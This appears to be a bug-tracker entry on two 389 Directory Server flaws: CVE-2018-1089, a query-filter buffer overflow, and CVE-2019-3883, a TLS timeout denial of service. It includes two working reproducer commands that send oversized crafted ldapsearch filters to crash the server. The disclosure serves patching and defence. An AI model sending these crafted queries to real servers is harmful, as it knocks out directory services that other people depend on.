From ${URL} : This is to disclose the following flaw, CVE-2018-1089 : 389-ds-base, a.k.a 389 Directory Server, https://pagure.io/389-ds-base/, is a highly usable, fully featured, reliable and secure LDAP server implementation. It handles many of the largest LDAP deployments in the world. 389-ds server did not properly handle characters needed to be escaped in its query filter. This could result in buffer overflows, from the heap or the stack, on larger filters. An unauthenticated attacker could send a specially crafted LDAP request and crash the server. RCE has not been demonstrated at this time. Red Hat would like to thank Greg Kubok for alerting us of the issue. Reproducer1 : [root@server1 ~]# payload=$(printf '.*$%.0s' {1..1000}) [root@server1 ~]# ldapsearch -h localhost -p 389 -x -b "dc=blah" "(&(|(telephoneNumber=*${payload}*)(uid=*${payload}*)(title=*${payload}*)(sn=*${payload}*)(ou=*${payload}*)(givenName=*${payload}*))(objectClass=posixaccount))" "telephoneNumber sshpubkeyfp ipaSshPubKey uid krbCanonicalName title loginShell uidNumber gidNumber sn homeDirectory mail krbPrincipalName givenName nsAccountLock" Reproducer2: [root@server1 ~]# perl -e 'print ".*\$" x (1400)' | ldapsearch -x -f- "(&(uid=%s)(objectClass=posixaccount))" @maintainer(s): since the package or the affected version has never been marked as stable, we don't need to stabilize it. After the bump, please remove the affected versions from the tree.
the package has no maintainer any more.
CVE-2019-3883 (https://nvd.nist.gov/vuln/detail/CVE-2019-3883): In 389-ds-base up to version 1.4.1.2, requests are handled by workers threads. Each sockets will be waited by the worker for at most 'ioblocktimeout' seconds. However this timeout applies only for un-encrypted requests. Connections using SSL/TLS are not taking this timeout into account during reads, and may hang longer.An unauthenticated attacker could repeatedly create hanging LDAP requests to hang all the workers, resulting in a Denial of Service.
